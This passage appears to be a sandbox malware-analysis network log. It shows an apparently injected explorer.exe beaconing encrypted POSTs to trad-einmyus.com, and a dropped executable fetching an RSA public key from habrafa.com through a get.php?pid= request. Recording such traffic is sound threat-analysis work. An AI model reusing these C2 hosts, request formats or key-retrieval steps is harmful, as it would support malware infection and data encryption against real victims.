                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469191074 CET1286INData Raw: a0 e4 95 fd 9a d6 ef af 82 de 97 c1 86 ec fb b1 fe aa bb e3 94 fe b7 e1 1b 91 4b f2 b2 36 54 14 41 6f 9e 7c 3c 65 78 90 4f bc 62 a0 22 99 73 00 96 11 d5 44 2e 47 34 ff 69 9b ed 10 5a 69 3f d9 22 2d 98 d4 60 2e 05 4b 8b 66 61 35 3d b2 d9 97 2d 28
                                                                                                                                                                                                                                                              Data Ascii: K6TAo|<exOb"sD.G4iZi?"-`.Kfa5=-(eie1+G-DIVCi|2khY-bT2y-=%g@Aj4MRs+J1uR}?0birSAr/ @X)Y(:\|$tH
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469212055 CET1286INData Raw: 89 f9 40 5a 28 fa 69 ff ff ff ff ff 42 fb 33 51 dd e4 40 3c d8 d0 d8 3a f6 cf 7b e7 b3 cb 6b b9 5d 64 50 dc 80 d8 e8 2a d6 af 7b 87 83 4b 33 31 2d 54 10 b1 36 04 f2 a0 ba 70 66 ec d6 ac 1a 60 fa 70 66 c4 5e 7c 8a 58 42 00 16 14 6e 3c aa c0 7a 40
                                                                                                                                                                                                                                                              Data Ascii: @Z(iB3Q@<:{k]dP*{K31-T6pf`pf^|XBn<z@r@|Qei$6gd\r3T,,G}G5a[!7/UCA;iSQe|J`~v!`kOB>n3QB<ry97
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469233036 CET1286INData Raw: 3f 9a 3b 5c 74 0f 2a e8 c8 69 f4 87 a9 d0 e7 5b 41 e6 61 24 38 5f 3c 36 9a 4f a2 a6 ad 19 78 38 bd 87 da b6 d2 19 25 38 6c bf ab 9a ee 0d e0 d8 e5 e5 51 e0 3f 63 37 96 41 1d 05 b4 7b 17 5b 2a 05 99 3d fc 67 eb 4b 8a 51 d9 cc 40 75 21 9f 7a fa 00
                                                                                                                                                                                                                                                              Data Ascii: ?;\t*i[Aa$8_<6Ox8%8lQ?c7A{[*=gKQ@u!zAxFAN>kwqc]90\"kUi:$I+hmxo<{@fmqphnBrNKrKAiJo3wE>#*giTbDtf %mk60e9|KSk4<)Ub,s)qf
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469253063 CET1286INData Raw: e6 7a a5 39 75 11 46 b1 6e ab 73 17 dc c8 f9 8d 6e a3 67 fb f4 21 f1 74 4e 42 67 da c4 f0 f1 2d 0a c7 44 24 00 bb 5d 4d 22 e8 b4 ba 5a 00 68 99 de 2d 33 66 89 06 8d 64 24 0c e9 1e fd 1e 00 c1 e7 ec f7 df 8b bc 2f 04 b0 f2 f0 81 c5 04 00 00 00 f7
                                                                                                                                                                                                                                                              Data Ascii: z9uFnsng!tNBg-D$]M"Zh-3fd$/#D%4 VATHk)!Ht$HD$gst$Hd$TfOfG$);B4$]M<$>%b|PF~6lB0*h~TTV4B4^
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469294071 CET1286INData Raw: ff 00 00 00 00 e8 c9 d3 96 ad c4 b7 ab 5b 9e fc 3e e6 d0 16 0e ee 0a 09 83 6b 51 d6 3a ff e9 f1 91 24 6e e9 f1 11 b4 e2 52 ae 6c fb c6 84 c7 54 40 4a 52 e6 a4 b4 55 41 9d 87 c5 68 00 00 00 00 08 93 76 40 68 00 00 00 00 8e fe 2a 32 62 00 ac 95 b1
                                                                                                                                                                                                                                                              Data Ascii: [>kQ:$nRlT@JRUAhv@h*2bmYQ7Nj2 uq[:zR@T;w=]Y#1'?eCT-YM%;Tm"!@v'{8T<
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469333887 CET1286INData Raw: f5 98 35 ee 2b 14 dc bb 5f 23 0c 57 a3 7a 56 fc 62 39 8a cb 81 d0 04 2a 77 73 c6 31 98 35 ee eb 47 dc e8 a6 23 f2 2c 00 6e ec 04 66 7f ec 05 44 8d 04 d0 5b c3 9e 91 d0 d0 04 8d 9c 19 fd 9f 52 7e f4 85 8c e5 2d 01 8b e6 29 58 48 61 08 d9 bc ac 98
                                                                                                                                                                                                                                                              Data Ascii: 5+_#WzVb9*ws15G#,nfD[R~-)XHa5rM;9["X"FxyRXXJ.0Hmg9#:t VbK[VNULbB;)W)!LO]``T$sww9@hFmQ
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469371080 CET1286INData Raw: 42 5a 60 c7 ef 2a 69 28 27 ea 4e 08 f5 2e e3 20 fd a1 cc 6d 04 a1 08 ca a4 ac 99 fb fb b1 1a 17 9e 1e d3 b6 2c f6 b8 5f 46 5b e8 ad 34 71 e3 34 2f c3 ab 27 4f f7 35 4b a2 43 2e d9 b2 60 cb e4 57 4b 71 c6 aa 17 4b 26 0d 08 ca 84 1f f6 2d e0 64 72
                                                                                                                                                                                                                                                              Data Ascii: BZ`*i('N. m,_F[4q4/'O5KC.`WKqK&-drUq1_P)$FMD?Ry806<4`J/<=\%yD'#\3&rnGetCommandLineA|yc+3m[=G!;eu5LiI
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.469408989 CET1286INData Raw: ff 1f a0 18 7a 76 0f 5b 87 33 eb 1b 19 c5 4c 80 7c d8 10 68 ba 4e f7 13 6f 8b f3 d3 d1 8d f4 30 ac b8 b0 f8 ea ee c7 fb d0 57 65 ff f5 03 d1 cb a9 b9 5d 29 d9 27 26 6d 7f ff ff ff ff be f5 33 61 1b 41 d9 0e 31 fa f1 77 5f a2 0b 48 51 a2 6d 76 8d
                                                                                                                                                                                                                                                              Data Ascii: zv[3L|hNo0We])'&m3aA1w_HQmv4ZKktnv=4h'(p4#8cn>jN4IdD5[ppe'MsCUEGqKQ;gou}yyF19J4W=n
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:49.795118093 CET1286INData Raw: 90 fc ae c0 73 b8 b3 25 09 38 57 04 19 7d 77 c6 4f ee ff fa 30 d3 62 6a f2 fb ea ef ff 83 0e 6e 21 1e c7 b1 fd 38 a8 d8 42 fd 1d 04 5f 38 0c bb 4b 18 8f 7c f1 91 50 2f 92 b6 ec c4 aa 7c f1 11 74 bb c7 fc a3 b1 c5 e7 79 4f 7c f1 11 95 96 10 30 65
                                                                                                                                                                                                                                                              Data Ascii: s%8W}wO0bjn!8B_8K|P/|tyO|0en3y86HbTV`ZjN"67nrNiGs"V|VaA/nni8_"[x_+'Ao|bxwaxs_!H,$;C


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              40192.168.2.549779185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:57.970175982 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://qjdvgwdxpoi.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 276
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:57.970175982 CET276OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 81 66 5d 02 c9 a1 c1 64 22 b4 d8 7c
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d"|Gw&N(DEEifKh=/{%rR.|Z#\rc{YQ7\U61]Z0<AKht/4<QGRQQg}Q\>EM L#1F!G
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:58.246861935 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:58 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              41192.168.2.549780185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:58.698263884 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://xckkvufujgbxyef.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 259
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:58.698295116 CET259OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 17 90 9f 68
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dh1>r[.@XI"]\8P~?&H^~'JK`c@Dl[-YKIZ5 9eI(iOz Jt]b<6)xeIh%\1*jjtB*
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:58.946647882 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:58 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              42192.168.2.549781185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:00.739993095 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://yfmtfbfvtyu.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 177
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:00.740036964 CET177OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bf 66 5d 02 c8 a1 c1 64 46 b0 84 16
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dFZjy&_^(#n-M]v0>>I|a+Ev'U`; +#U}YEF7y:t
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:00.989109993 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:00 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              43192.168.2.549782185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.229722977 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://elyeucandoam.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 286
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.229752064 CET286OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bc 66 5d 02 c8 a1 c1 64 5b ac c2 28
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d[(<and=u7['{gL`Bc#XW}GTK<i(*>34M-YpGY,[w*r^\jOx#6x;d[|I>E^JfGM>
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.479852915 CET233INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:01 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 33 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 86 5f 49 6a 0b f1 bc 9c a0 ab 1a ea 1f d1 6f f8 59 4d 90 00 e3 a6 2e ef 25 0d 50 b9 e1 d9 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 32I:82O_IjoYM.%P0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              44192.168.2.549784185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.881992102 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://bvaxstqfxtqasn.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 283
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.882028103 CET283OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bd 66 5d 02 c8 a1 c1 64 14 a0 8f 2b
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d+V>{,o*fLeY8*u'oP[(_R%%g`L0c?\GpVFL}"7UP04V{.3`(;j:"kY}o67=K<ePAD
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.146842003 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:02 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              45192.168.2.549785211.119.84.111805876C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:01.984410048 CET139OUTGET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: habrafa.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.870193005 CET766INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:21 GMT
                                                                                                                                                                                                                                                              Server: Apache/2.4.37 (Win64) PHP/5.6.40
                                                                                                                                                                                                                                                              X-Powered-By: PHP/5.6.40
                                                                                                                                                                                                                                                              Content-Length: 562
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 73 43 53 73 47 68 32 5c 2f 77 35 66 55 52 56 61 78 64 56 49 5a 5c 5c 6e 6f 2b 6e 37 37 68 30 35 4a 39 67 45 65 56 55 52 76 51 4c 75 78 38 54 4f 30 70 6a 78 72 4a 50 73 61 41 5c 2f 43 32 30 69 55 36 55 49 6e 62 30 43 67 7a 37 50 6c 2b 39 73 73 66 41 74 52 6a 32 75 35 5c 5c 6e 66 61 6d 33 53 73 39 36 34 6b 34 6f 75 4c 63 33 77 41 55 55 46 78 61 7a 6c 6f 78 64 75 75 72 43 37 75 45 62 35 69 67 37 4e 67 5c 2f 42 55 68 6e 53 5a 48 4f 4c 75 79 66 6b 32 6f 5c 2f 46 62 79 4b 63 5c 5c 6e 41 59 43 4e 4f 36 66 4c 70 73 45 79 32 38 59 63 44 74 46 6e 55 73 66 61 6b 74 63 68 66 68 57 38 56 62 6f 5a 34 72 71 77 76 6d 53 4a 47 39 74 38 75 2b 65 50 37 41 46 4d 4a 79 72 44 5c 2f 45 4d 79 5c 5c 6e 74 66 54 76 30 66 32 36 53 46 43 71 7a 4d 49 6b 45 4c 45 5a 33 67 33 45 39 35 35 64 6a 68 75 65 7a 4f 77 45 59 66 4d 32 65 69 69 56 52 4e 43 6a 66 66 78 45 71 63 69 59 39 2b 33 6c 63 42 6f 38 5c 5c 6e 36 4c 78 68 70 51 50 68 66 34 74 5c 2f 68 74 70 54 63 34 5c 2f 78 44 64 66 32 5c 2f 42 59 79 37 67 68 62 51 49 56 68 4c 7a 70 78 30 43 31 6e 4e 4e 70 2b 6a 34 79 4a 4f 6f 74 54 2b 31 58 4a 6f 31 51 47 5c 5c 6e 33 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 38 44 76 6f 71 78 33 62 76 66 76 31 47 4e 4f 58 77 51 4c 72 53 39 4e 68 4b 38 41 35 42 75 65 75 64 70 56 6c 43 76 43 77 22 7d
                                                                                                                                                                                                                                                              Data Ascii: {"public_key":"-----BEGIN&#160;PUBLIC&#160;KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsCSsGh2\/w5fURVaxdVIZ\\no+n77h05J9gEeVURvQLux8TO0pjxrJPsaA\/C20iU6UInb0Cgz7Pl+9ssfAtRj2u5\\nfam3Ss964k4ouLc3wAUUFxazloxduurC7uEb5ig7Ng\/BUhnSZHOLuyfk2o\/FbyKc\\nAYCNO6fLpsEy28YcDtFnUsfaktchfhW8VboZ4rqwvmSJG9t8u+eP7AFMJyrD\/EMy\\ntfTv0f26SFCqzMIkELEZ3g3E955djhuezOwEYfM2eiiVRNCjffxEqciY9+3lcBo8\\n6LxhpQPhf4t\/htpTc4\/xDdf2\/BYy7ghbQIVhLzpx0C1nNNp+j4yJOotT+1XJo1QG\\n3wIDAQAB\\n-----END&#160;PUBLIC&#160;KEY-----\\n","id":"8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw"}


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              46192.168.2.549787185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.394100904 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://menvnesdavpsra.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 126
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.394164085 CET126OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de ba 66 5d 02 c8 a1 c1 64 24 dc 8b 7c
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d$|"xknDCW:^[f%R~.vF0XJ
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:02.663006067 CET230INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:02 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 32 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 8a 47 0f 7f 13 bd a8 89 a6 bd 1e b0 17 90 61 bb 5f 5c 9f 4a a0 b8 78 ae 2f 4d 1b 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 2fI:82OGa_\Jx/M0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              47192.168.2.549791185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:03.921448946 CET283OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://ivugkvkggqmhn.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 215
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:03.921488047 CET215OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bb 66 5d 02 c8 a1 c1 64 5e bc df 69
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d^i6hxD'xt(4J{OXn>7eQ-BEV-_1#E'l)#>S@0O\j)vGs30@Iu44L|0Vx'f0]
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:04.182589054 CET234INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:04 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 33 33 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 95 43 04 6e 1b e4 a7 9f b6 af 01 a5 0f dd 6d b6 18 5c 9b 08 be cc 28 f2 29 5a 46 f2 fc c4 4a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 33I:82OCnm\()ZFJ0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              48192.168.2.549795185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:05.916184902 CET284OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://forkgaagwwbbok.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 305
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
